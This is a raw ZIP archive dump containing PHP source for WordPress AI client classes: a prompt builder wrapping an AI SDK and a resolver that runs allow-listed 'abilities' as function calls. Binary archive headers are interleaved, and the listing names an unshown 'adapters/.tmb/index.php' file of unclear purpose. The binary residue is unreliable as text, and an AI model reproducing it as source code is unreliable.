convert_text_to_speech_result() Converts text to speech and returns the result. * @method GenerativeAiResult|WP_Error generate_video_result() Generates a video result from the prompt. * @method string|WP_Error generate_text() Generates text from the prompt. * @method list|WP_Error generate_texts(?int $candidateCount = null) Generates multiple text candidates from the prompt. * @method File|WP_Error generate_image() Generates an image from the prompt. * @method list|WP_Error generate_images(?int $candidateCount = null) Generates multiple images from the prompt. * @method File|WP_Error convert_text_to_speech() Converts text to speech. * @method list|WP_Error convert_text_to_speeches(?int $candidateCount = null) Converts text to multiple speech outputs. * @method File|WP_Error generate_speech() Generates speech from the prompt. * @method list|WP_Error generate_speeches(?int $candidateCount = null) Generates multiple speech outputs from the prompt. * @method File|WP_Error generate_video() Generates a video from the prompt. * @method list|WP_Error generate_videos(?int $candidateCount = null) Generates multiple videos from the prompt. */ class WP_AI_Client_Prompt_Builder { /** * Wrapped prompt builder instance from the PHP AI Client SDK. * * @since 7.0.0 * @var PromptBuilder */ private PromptBuilder $builder; /** * WordPress error instance, if any error occurred during method calls. * * @since 7.0.0 * @var WP_Error|null */ private ?WP_Error $error = null; /** * List of methods that generate a result from the prompt. * * Structured as a map for faster lookups. * * @since 7.0.0 * @var array */ private static array $generating_methods = array( 'generate_result' => true, 'generate_text_result' => true, 'generate_image_result' => true, 'generate_speech_result' => true, 'convert_text_to_speech_result' => true, 'generate_video_result' => true, 'generate_text' => true, 'generate_texts' => true, 'generate_image' => true, 'generate_images' => true, 'convert_text_to_speech' => true, 'convert_text_to_speeches' => true, 'generate_speech' => true, 'generate_speeches' => true, 'generate_video' => true, 'generate_videos' => true, ); /** * List of methods that check whether the prompt is supported. * * Structured as a map for faster lookups. * * @since 7.0.0 * @var array */ private static array $support_check_methods = array( 'is_supported' => true, 'is_supported_for_text_generation' => true, 'is_supported_for_image_generation' => true, 'is_supported_for_text_to_speech_conversion' => true, 'is_supported_for_video_generation' => true, 'is_supported_for_speech_generation' => true, 'is_supported_for_music_generation' => true, 'is_supported_for_embedding_generation' => true, ); /** * Constructor. * * @since 7.0.0 * * @param ProviderRegistry $registry The provider registry for finding suitable models. * @param Prompt $prompt Optional. Initial prompt content. * A string for simple text prompts, * a MessagePart or Message object for * structured content, an array for a * message array shape, or a list of * parts or messages for multi-turn * conversations. Default null. */ public function __construct( ProviderRegistry $registry, $prompt = null ) { try { $this->builder = new PromptBuilder( $registry, $prompt, AiClient::getEventDispatcher() ); } catch ( Exception $e ) { $this->builder = new PromptBuilder( $registry, null, AiClient::getEventDispatcher() ); $this->error = $this->exception_to_wp_error( $e ); } $default_timeout = 30.0; /** * Filters the default request timeout in seconds for AI Client HTTP requests. * * @since 7.0.0 * * @param float $default_timeout The default timeout in seconds. */ $filtered_default_timeout = apply_filters( 'wp_ai_client_default_request_timeout', $default_timeout ); if ( is_numeric( $filtered_default_timeout ) && (float) $filtered_default_timeout >= 0.0 ) { $default_timeout = (float) $filtered_default_timeout; } else { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: wp_ai_client_default_request_timeout */ __( 'The %s filter must return a non-negative number.' ), 'wp_ai_client_default_request_timeout' ), '7.0.0' ); } $this->builder->usingRequestOptions( RequestOptions::fromArray( array( RequestOptions::KEY_TIMEOUT => $default_timeout, ) ) ); } /** * Registers WordPress abilities as function declarations for the AI model. * * Converts each WP_Ability to a FunctionDeclaration using the wpab__ prefix * naming convention and passes them to the underlying prompt builder. * * @since 7.0.0 * * @param WP_Ability|string ...$abilities The abilities to register, either as WP_Ability objects or ability name strings. * @return self The current instance for method chaining. */ public function using_abilities( ...$abilities ): self { $declarations = array(); foreach ( $abilities as $ability ) { if ( is_string( $ability ) ) { $ability_name = $ability; $ability = wp_get_ability( $ability ); if ( ! $ability ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: string value of the ability name. */ __( 'The ability %s was not found.' ), '' . esc_html( $ability_name ) . '' ), '7.0.0' ); continue; } } // This is only here as a sanity check, the method signature should ensure this already. if ( ! $ability instanceof WP_Ability ) { continue; } $function_name = WP_AI_Client_Ability_Function_Resolver::ability_name_to_function_name( $ability->get_name() ); $input_schema = wp_prepare_json_schema_for_client( $ability->get_input_schema() ); $declarations[] = new FunctionDeclaration( $function_name, $ability->get_description(), ! empty( $input_schema ) ? $input_schema : null ); } if ( ! empty( $declarations ) ) { return $this->using_function_declarations( ...$declarations ); } return $this; } /** * Magic method to proxy snake_case method calls to their PHP AI Client camelCase counterparts. * * This allows WordPress developers to use snake_case naming conventions. It catches * any exceptions thrown, stores them, and returns a WP_Error when a terminate method * is called. * * @since 7.0.0 * * @param string $name The method name in snake_case. * @param array $arguments The method arguments. * @return mixed The result of the method call. */ public function __call( string $name, array $arguments ) { /* * If an error occurred in a previous method call, either return the error for terminate methods, * or return the same instance for other methods to maintain the fluent interface. */ if ( null !== $this->error ) { if ( self::is_generating_method( $name ) ) { return $this->error; } if ( self::is_support_check_method( $name ) ) { return false; } return $this; } // Check if the prompt should be prevented for is_supported* and generate_*/convert_text_to_speech* methods. if ( self::is_support_check_method( $name ) || self::is_generating_method( $name ) ) { // If AI is not supported, then there's no need to apply the filter as the prompt will be prevented anyway. $is_ai_disabled = ! wp_supports_ai(); $prevent = $is_ai_disabled; if ( ! $prevent ) { /** * Filters whether to prevent the prompt from being executed. * * @since 7.0.0 * * @param bool $prevent Whether to prevent the prompt. Default false. * @param WP_AI_Client_Prompt_Builder $builder A clone of the prompt builder instance (read-only). */ $prevent = (bool) apply_filters( 'wp_ai_client_prevent_prompt', false, clone $this ); } if ( $prevent ) { // For is_supported* methods, return false. if ( self::is_support_check_method( $name ) ) { return false; } $error_message = $is_ai_disabled ? __( 'AI features are not supported in this environment.' ) : __( 'Prompt execution was prevented by a filter.' ); // For generate_* and convert_text_to_speech* methods, create a WP_Error. $this->error = new WP_Error( 'prompt_prevented', $error_message, array( 'status' => 503, ) ); if ( self::is_generating_method( $name ) ) { return $this->error; } return $this; } } try { $callable = $this->get_builder_callable( $name ); $result = $callable( ...$arguments ); // If the result is a PromptBuilder, return the current instance to allow method chaining. if ( $result instanceof PromptBuilder ) { return $this; } return $result; } catch ( Exception $e ) { $this->error = $this->exception_to_wp_error( $e ); if ( self::is_generating_method( $name ) ) { return $this->error; } return $this; } } /** * Converts an exception into a WP_Error with a structured error code and message. * * This method maps different exception types to specific WP_Error codes and HTTP status codes. * The presence of the status codes means these WP_Error objects can be easily used in REST API responses * or other contexts where HTTP semantics are relevant. * * @since 7.0.0 * * @param Exception $e The exception to convert. * @return WP_Error The resulting WP_Error object. */ private function exception_to_wp_error( Exception $e ): WP_Error { if ( $e instanceof NetworkException ) { $error_code = 'prompt_network_error'; $status_code = 503; } elseif ( $e instanceof ClientException ) { // `ClientException` uses HTTP status codes as exception codes, so we can rely on them. $error_code = 'prompt_client_error'; $status_code = $e->getCode() ? $e->getCode() : 400; } elseif ( $e instanceof ServerException ) { // `ServerException` uses HTTP status codes as exception codes, so we can rely on them. $error_code = 'prompt_upstream_server_error'; $status_code = $e->getCode() ? $e->getCode() : 500; } elseif ( $e instanceof TokenLimitReachedException ) { $error_code = 'prompt_token_limit_reached'; $status_code = 400; } elseif ( $e instanceof InvalidArgumentException ) { $error_code = 'prompt_invalid_argument'; $status_code = 400; } else { $error_code = 'prompt_builder_error'; $status_code = 500; } return new WP_Error( $error_code, $e->getMessage(), array( 'status' => $status_code, 'exception_class' => get_class( $e ), ) ); } /** * Checks if a method name is a support check method (is_supported*). * * @since 7.0.0 * * @param string $name The method name. * @return bool True if the method is a support check method, false otherwise. */ private static function is_support_check_method( string $name ): bool { return isset( self::$support_check_methods[ $name ] ); } /** * Checks if a method name is a generating method (generate_*, convert_text_to_speech*). * * @since 7.0.0 * * @param string $name The method name. * @return bool True if the method is a generating method, false otherwise. */ private static function is_generating_method( string $name ): bool { return isset( self::$generating_methods[ $name ] ); } /** * Retrieves a callable for a given PHP AI Client SDK prompt builder method name. * * @since 7.0.0 * * @param string $name The method name in snake_case. * @return callable The callable for the specified method. * * @throws BadMethodCallException If the method does not exist. */ protected function get_builder_callable( string $name ): callable { $camel_case_name = $this->snake_to_camel_case( $name ); $method = array( $this->builder, $camel_case_name ); if ( ! is_callable( $method ) ) { throw new BadMethodCallException( sprintf( /* translators: 1: Method name. 2: Class name. */ __( 'Method %1$s does not exist on %2$s.' ), $name, // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped get_class( $this->builder ) // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped ) ); } return $method; } /** * Converts snake_case to camelCase. * * @since 7.0.0 * * @param string $snake_case The snake_case string. * @return string The camelCase string. */ private function snake_to_camel_case( string $snake_case ): string { $parts = explode( '_', $snake_case ); $camel_case = $parts[0]; $parts_count = count( $parts ); for ( $i = 1; $i < $parts_count; $i++ ) { $camel_case .= ucfirst( $parts[ $i ] ); } return $camel_case; } } PKb“[]/%¥¥0class-wp-ai-client-ability-function-resolver.phpnu„[µü¤ */ private array $allowed_abilities; /** * Constructor. * * @since 7.0.0 * * @param WP_Ability|string ...$abilities The abilities that this resolver is allowed to execute. */ public function __construct( ...$abilities ) { $this->allowed_abilities = array(); foreach ( $abilities as $ability ) { if ( $ability instanceof WP_Ability ) { $this->allowed_abilities[ $ability->get_name() ] = true; } elseif ( is_string( $ability ) ) { $this->allowed_abilities[ $ability ] = true; } } } /** * Checks if a function call is an ability call. * * @since 7.0.0 * * @param FunctionCall $call The function call to check. * @return bool True if the function call is an ability call, false otherwise. */ public function is_ability_call( FunctionCall $call ): bool { $name = $call->getName(); if ( null === $name ) { return false; } return str_starts_with( $name, self::ABILITY_PREFIX ); } /** * Executes a WordPress ability from a function call. * * Only abilities that were specified in the constructor are allowed to be * executed. If the ability is not in the allowed list, an error response * with code `ability_not_allowed` is returned. * * @since 7.0.0 * * @param FunctionCall $call The function call to execute. * @return FunctionResponse The response from executing the ability. */ public function execute_ability( FunctionCall $call ): FunctionResponse { $function_name = $call->getName() ?? 'unknown'; $function_id = $call->getId() ?? 'unknown'; if ( ! $this->is_ability_call( $call ) ) { return new FunctionResponse( $function_id, $function_name, array( 'error' => __( 'Not an ability function call' ), 'code' => 'invalid_ability_call', ) ); } $ability_name = self::function_name_to_ability_name( $function_name ); if ( ! isset( $this->allowed_abilities[ $ability_name ] ) ) { return new FunctionResponse( $function_id, $function_name, array( /* translators: %s: ability name */ 'error' => sprintf( __( 'Ability "%s" was not specified in the allowed abilities list.' ), $ability_name ), 'code' => 'ability_not_allowed', ) ); } $ability = wp_get_ability( $ability_name ); if ( ! $ability instanceof WP_Ability ) { return new FunctionResponse( $function_id, $function_name, array( /* translators: %s: ability name */ 'error' => sprintf( __( 'Ability "%s" not found' ), $ability_name ), 'code' => 'ability_not_found', ) ); } $args = $call->getArgs(); $result = $ability->execute( ! empty( $args ) ? $args : null ); if ( is_wp_error( $result ) ) { return new FunctionResponse( $function_id, $function_name, array( 'error' => $result->get_error_message(), 'code' => $result->get_error_code(), 'data' => $result->get_error_data(), ) ); } return new FunctionResponse( $function_id, $function_name, $result ); } /** * Checks if a message contains any ability function calls. * * @since 7.0.0 * * @param Message $message The message to check. * @return bool True if the message contains ability calls, false otherwise. */ public function has_ability_calls( Message $message ): bool { foreach ( $message->getParts() as $part ) { if ( $part->getType()->isFunctionCall() ) { $function_call = $part->getFunctionCall(); if ( $function_call instanceof FunctionCall && $this->is_ability_call( $function_call ) ) { return true; } } } return false; } /** * Executes all ability function calls in a message. * * @since 7.0.0 * * @param Message $message The message containing function calls. * @return Message A new message with function responses. */ public function execute_abilities( Message $message ): Message { $response_parts = array(); foreach ( $message->getParts() as $part ) { if ( $part->getType()->isFunctionCall() ) { $function_call = $part->getFunctionCall(); if ( $function_call instanceof FunctionCall && $this->is_ability_call( $function_call ) ) { $function_response = $this->execute_ability( $function_call ); $response_parts[] = new MessagePart( $function_response ); } } } return new UserMessage( $response_parts ); } /** * Converts an ability name to a function name. * * Transforms "tec/create_event" to "wpab__tec__create_event". * * @since 7.0.0 * * @param string $ability_name The ability name to convert. * @return string The function name. */ public static function ability_name_to_function_name( string $ability_name ): string { return self::ABILITY_PREFIX . str_replace( '/', '__', $ability_name ); } /** * Converts a function name to an ability name. * * Transforms "wpab__tec__create_event" to "tec/create_event". * * @since 7.0.0 * * @param string $function_name The function name to convert. * @return string The ability name. */ public static function function_name_to_ability_name( string $function_name ): string { $without_prefix = substr( $function_name, strlen( self::ABILITY_PREFIX ) ); return str_replace( '__', '/', $without_prefix ); } } PKb“[]7ñ’’%adapters/class-wp-ai-client-cache.phpnu„[µü¤PKb“[]¡ Õû û 0çadapters/class-wp-ai-client-event-dispatcher.phpnu„[µü¤PKb“[]ûèpp+B%adapters/class-wp-ai-client-http-client.phpnu„[µü¤PKb“[]n¯à��2 @adapters/class-wp-ai-client-discovery-strategy.phpnu„[µü¤PKb“[]Ñ…çîvîvþDadapters/error_lognu„[µü¤PKb“[]AÊŸž5¹5¹.¼adapters/.tmb/index.phpnu„[µü¤PKb“[]\ˆKjpMpM%ªuclass-wp-ai-client-prompt-builder.phpnu„[µü¤PKb“[]/%¥¥0oÃclass-wp-ai-client-ability-function-resolver.phpnu„[µü¤PK0tÜ